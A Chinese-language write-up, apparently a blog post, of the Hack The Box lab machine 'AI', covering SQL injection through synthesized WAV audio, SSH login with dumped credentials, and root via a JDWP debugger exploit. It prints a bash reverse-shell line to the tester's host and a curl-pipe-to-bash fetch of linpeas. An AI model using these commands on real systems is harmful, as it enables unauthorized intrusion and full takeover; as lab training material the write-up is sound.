hackthebox-AI——有趣的sql+JDWPgetshell

終于又等到hackthebox更新退役靶機了征绎,這次的靶機是AI。因為比較有意思所以來記錄下提茁。不過過程并非一帆風(fēng)順。其中還遇到靶機磁盤寫滿導(dǎo)致無法寫入文件的事馁菜。刪了半天才想起來要重設(shè)靶機......

跟上次一樣參考了下大神的視頻https://www.youtube.com/watch?v=7n7YRntu3bc&t=1391s視頻真的非常良心茴扁。

(這次做之前更新kali虛擬機,又把自己的虛擬機弄死機了......好在現(xiàn)在不那么容易整體炸掉,倒是kali的界面越更新越舒適汪疮,挺不錯的)


AI

本機ip:10.10.15.60

靶機ip:10.10.10.163

首先第一步當(dāng)然是探測端口了

nmap -sC -sV -oA ai 10.10.10.163
nmap

發(fā)現(xiàn)有22與80端口開放丹弱。既然有http服務(wù),那就嘗試直接訪問吧铲咨。
有一個主頁面躲胳。同時也發(fā)現(xiàn)了其他php文件,唯一比較有意思的就是下面這個ai.php頁面纤勒,有一個文件上傳點坯苹。

ai

但是很奇怪。居然是.wavfile摇天。通常我所知道的文件上傳點也就圖片馬或者phar反序列化或者其他類型的getshell粹湃。而它提示的drop your query using wav file.似乎是在說明我們可以進行查詢操作。

那么首先隨便傳一個test.php上去泉坐。內(nèi)容隨意为鳄。發(fā)現(xiàn)沒有回顯。


test

看來是要wav的音頻文件了腕让。使用音頻文件執(zhí)行查詢孤钦,這點真的難以弄懂。那么在嘗試弄清漏洞類型之前先來目錄爆破一下纯丸,看有沒有什么別的信息:

gobuster dir -u http://10.10.10.163 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

基于這里都是php偏形,我們在gobuster后著重加上-x php進行篩選。
解果大致如下:

/index.php (Status: 200)
/contact.php (Status: 200)
/about.php (Status: 200)
/images (Status: 301)
/uploads (Status: 301)
/db.php (Status:301)
/intelligence.php(Status: 200)
/ai.php(Status: 200)

其中ai.php等等都是主頁面就提供了的觉鼻。新發(fā)現(xiàn)的頁面包括intelligence.phpdb.php俊扭。上傳跟圖片界面我們都沒有權(quán)限進去。那么訪問下唯一可以訪問的intelligence.php

intelligence.php

發(fā)現(xiàn)了這個頁面坠陈。似乎存在著詞語的替換關(guān)系萨惑。從表的右列中我們不難找到一些熟悉的符號--union,#,---,Schema等等捐康。這些都是常常出現(xiàn)在sql注入中的符號。結(jié)合我們還爆破出了db.php庸蔼,可以猜想是否有sql注入的漏洞呢吹由?

答案是正確的。而且腦洞大開的是:我們要用語言轉(zhuǎn)成音頻文件上傳來進行注入朱嘴。這也許就是這個AI靶機的名字所在吧。

首先google linux say command粗合, 發(fā)現(xiàn)有這樣的一個軟件萍嬉。叫做festival。

apt-get install festival

使用它其中一個叫text2wave的就能將語句轉(zhuǎn)成語音文件隙疚。比如用下管道符壤追,生成一個test.wav,內(nèi)容為hello供屉。

echo "Hello"| text2wave -o test.wav
test

嘗試聽下這個音頻行冰,發(fā)現(xiàn)是個男低音(也許是機器合成音?)然后再次嘗試上傳


hello

發(fā)現(xiàn)input有結(jié)果,那么就嘗試下翻譯成英文來sql注入吧伶丐。
(這點對非英語母語的國家的人應(yīng)該非常不友好......畢竟有些偏門的括號之類的英文我也不太熟)

( openparenthesis 左括號
) closeparenthesis 右括號
- hyphen   連字符

基于一開始還探測到的intelligence.php中有些字符對應(yīng)關(guān)系悼做,不難想到我們需要使用那張表來繞過注入
比如我的嘗試payload

' union select database()---

需要換作

open single quote, join select , database open parenthesis close parenthesis comment database

再重復(fù)上面生成test.wav的操作,就可以上傳注入哗魂。


database

基于hackthebox易得user的尿性肛走,可以猜出一張users表然后爆出username跟password

'union select username from user---
open single quote, join , select , username from users comment database
open single quote, join , select , password from users comment database
username

password

顯然,我們的http頁面并沒有什么讓我們登錄進去的方法或頁面录别⌒嗌基于之前的端口探測發(fā)現(xiàn)有ssh開放,不妨嘗試ssh登錄


ssh login

成功登陸组题。并且user.txt就在當(dāng)前目錄下葫男。

之后就是常規(guī)提權(quán)的過程了。

這里開始可能會想到之前沒成功訪問的db.php崔列,在/var/www/html中爆出內(nèi)容

mysql

可知username為dbuser,password為toor
進入mysql可用的就多了梢褐。(然而我進去的時候庫被別人刪了......)實際上可以爆出之前alexa所在user表的內(nèi)容中

username:root
password:H,Sq9t6}a<)?q931

但是ssh登錄并不成功。mysql這條路走不通赵讯。

眾所周知利职,發(fā)現(xiàn)提權(quán)的漏洞點并不是一件容易的事,尤其是對我這樣的小白而言瘦癌。所以猪贪,我從dalao視頻那發(fā)現(xiàn)了一個很厲害的腳本可以解決我自己的漏洞認(rèn)知問題。
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
在靶機上使用其中的linpeas.sh讯私,腳本就會自動分析可能提權(quán)的漏洞點热押。著實解決不少問題西傀。不過通常結(jié)果又臭又長,可能需要耐心找一找桶癣。
具體方法也很簡單拥褂,本機git clone好后,起一個python監(jiān)聽(默認(rèn)8000端口)

python -m SimpleHTTPServer

在靶機上直接curl后執(zhí)行就好了

curl 10.10.15.60:8000/linpeas.sh | bash

這里從linpeas.sh的結(jié)果中可以發(fā)現(xiàn)一個JDWP的點被標(biāo)紅了牙寞。
那么jdwp是什么呢饺鹃?我們搜索一下

JDWP(Java DEbugger Wire Protocol):即Java調(diào)試線協(xié)議,是一個為Java調(diào)試而設(shè)計的通訊交互協(xié)議间雀,它定義了調(diào)試器和被調(diào)試程序之間傳遞的信息的格式悔详。說白了就是JVM或者類JVM的虛擬機都支持一種協(xié)議,通過該協(xié)議惹挟,Debugger 端可以和 target VM 通信茄螃,可以獲取目標(biāo) VM的包括類、對象连锯、線程等信息

而這是有漏洞利用的归苍。比如知道創(chuàng)宇上的
https://www.seebug.org/vuldb/ssvid-89216

等等,都是jdwp的代碼執(zhí)行漏洞运怖。那么我們接下來就用這個漏洞拼弃,嘗試拿到root權(quán)限。
首先確定使用的工具
https://github.com/IOActive/jdwp-shellifier

jdwp-shellifier(上面幾個漏洞報告都是用的這個工具)之后考慮我們要執(zhí)行的命令摇展,當(dāng)然是拿到root shell比較好肴敛。所以先在alexa的靶機的tmp目錄下放一個反彈shell的腳本test.sh內(nèi)容如下:

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.15.60/9002 0>&1'

然后給其執(zhí)行的權(quán)限

chmod +x test.sh

調(diào)用時只需:

./test.sh

先本機監(jiān)聽下,沒有問題吗购,可以彈到alexa的shell医男。

接下來用到一個新學(xué)到的大招:端口轉(zhuǎn)發(fā)。我們都知道捻勉,每次ssh登錄這一靶機都要用戶密碼镀梭,十分麻煩。而且將要利用的jdwp是java的debug功能踱启,據(jù)說操作時十分容易斷開报账。那有沒有什么方法可以本機處理這個jdwp呢?答案就是端口轉(zhuǎn)發(fā)埠偿。原本自己以為十分復(fù)雜透罢,但實際上并非如此。

首先在靶機上確認(rèn)jdwp是運行在8000端口的冠蒋。
那么我先進入tomcat的目錄羽圃,按下~C將直接進入ssh,然后將其轉(zhuǎn)到localhost來研究

-L 8000:localhost:8000
a13.PNG

這時我們在本機上使用

ss -lntp

查看主機監(jiān)聽的端口抖剿。就會發(fā)現(xiàn)8000端口處于監(jiān)聽狀態(tài)了朽寞,user是ssh识窿。我們也可以用同樣的方法轉(zhuǎn)發(fā)tomcat的8009和8080端口到本地,這樣我們就能直接瀏覽器訪問localhost:8080來分析tomcat(當(dāng)然這里沒有什么幫助)

當(dāng)然脑融,這里轉(zhuǎn)發(fā)到本地本來只是方便調(diào)試喻频,因為可以直接在本地手動利用jdwp的漏洞,找到一個breakpoint用debug功能來執(zhí)行命令肘迎。但是這方面實在不熟(java白學(xué)了)甥温,所以還是直接利用上面的腳本舒服啊。
shellifier用法

python jdwp-shellifier.py -t 目標(biāo)主機ip -p jdwp運行端口 --cmd "Your Command"

這里我們直接

python jdwp-shellifier.py -t 127.0.0.1 --break-on "java.lang.String.indexOf" --cmd "/tmp/test.sh"

因為轉(zhuǎn)發(fā)了ip妓布,端口所以使用的ip是本地姻蚓。而break-on這點方便找出可以利用的斷點。最后的cmd執(zhí)行我們的反彈shell秋茫。
本機再度監(jiān)聽后執(zhí)行這個腳本


root

成功反彈shell到本機。即可拿到root.txt

感覺提權(quán)這方面自己還是不太熟悉乃秀,可能因為大部分ctf比賽注重的也只是getshell層面上的吧肛著,之后的操作還要多加了解知識學(xué)習(xí)啊。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末跺讯,一起剝皮案震驚了整個濱河市枢贿,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌刀脏,老刑警劉巖局荚,帶你破解...
    沈念sama閱讀 221,820評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異愈污,居然都是意外死亡耀态,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,648評論 3 399
  • 文/潘曉璐 我一進店門暂雹,熙熙樓的掌柜王于貴愁眉苦臉地迎上來首装,“玉大人,你說我怎么就攤上這事杭跪∠陕撸” “怎么了?”我有些...
    開封第一講書人閱讀 168,324評論 0 360
  • 文/不壞的土叔 我叫張陵涧尿,是天一觀的道長系奉。 經(jīng)常有香客問我,道長姑廉,這世上最難降的妖魔是什么缺亮? 我笑而不...
    開封第一講書人閱讀 59,714評論 1 297
  • 正文 為了忘掉前任,我火速辦了婚禮桥言,結(jié)果婚禮上瞬内,老公的妹妹穿的比我還像新娘迷雪。我一直安慰自己,他們只是感情好虫蝶,可當(dāng)我...
    茶點故事閱讀 68,724評論 6 397
  • 文/花漫 我一把揭開白布章咧。 她就那樣靜靜地躺著,像睡著了一般能真。 火紅的嫁衣襯著肌膚如雪赁严。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,328評論 1 310
  • 那天粉铐,我揣著相機與錄音疼约,去河邊找鬼。 笑死蝙泼,一個胖子當(dāng)著我的面吹牛程剥,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播汤踏,決...
    沈念sama閱讀 40,897評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼织鲸,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了溪胶?” 一聲冷哼從身側(cè)響起搂擦,我...
    開封第一講書人閱讀 39,804評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎哗脖,沒想到半個月后瀑踢,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,345評論 1 318
  • 正文 獨居荒郊野嶺守林人離奇死亡才避,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,431評論 3 340
  • 正文 我和宋清朗相戀三年橱夭,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片桑逝。...
    茶點故事閱讀 40,561評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡徘钥,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出肢娘,到底是詐尸還是另有隱情呈础,我是刑警寧澤,帶...
    沈念sama閱讀 36,238評論 5 350
  • 正文 年R本政府宣布橱健,位于F島的核電站而钞,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏拘荡。R本人自食惡果不足惜臼节,卻給世界環(huán)境...
    茶點故事閱讀 41,928評論 3 334
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧网缝,春花似錦巨税、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,417評論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至扼仲,卻和暖如春远寸,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背屠凶。 一陣腳步聲響...
    開封第一講書人閱讀 33,528評論 1 272
  • 我被黑心中介騙來泰國打工驰后, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人矗愧。 一個月前我還...
    沈念sama閱讀 48,983評論 3 376
  • 正文 我出身青樓灶芝,卻偏偏與公主長得像,于是被迫代替她去往敵國和親唉韭。 傳聞我的和親對象是個殘疾皇子夜涕,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,573評論 2 359

推薦閱讀更多精彩內(nèi)容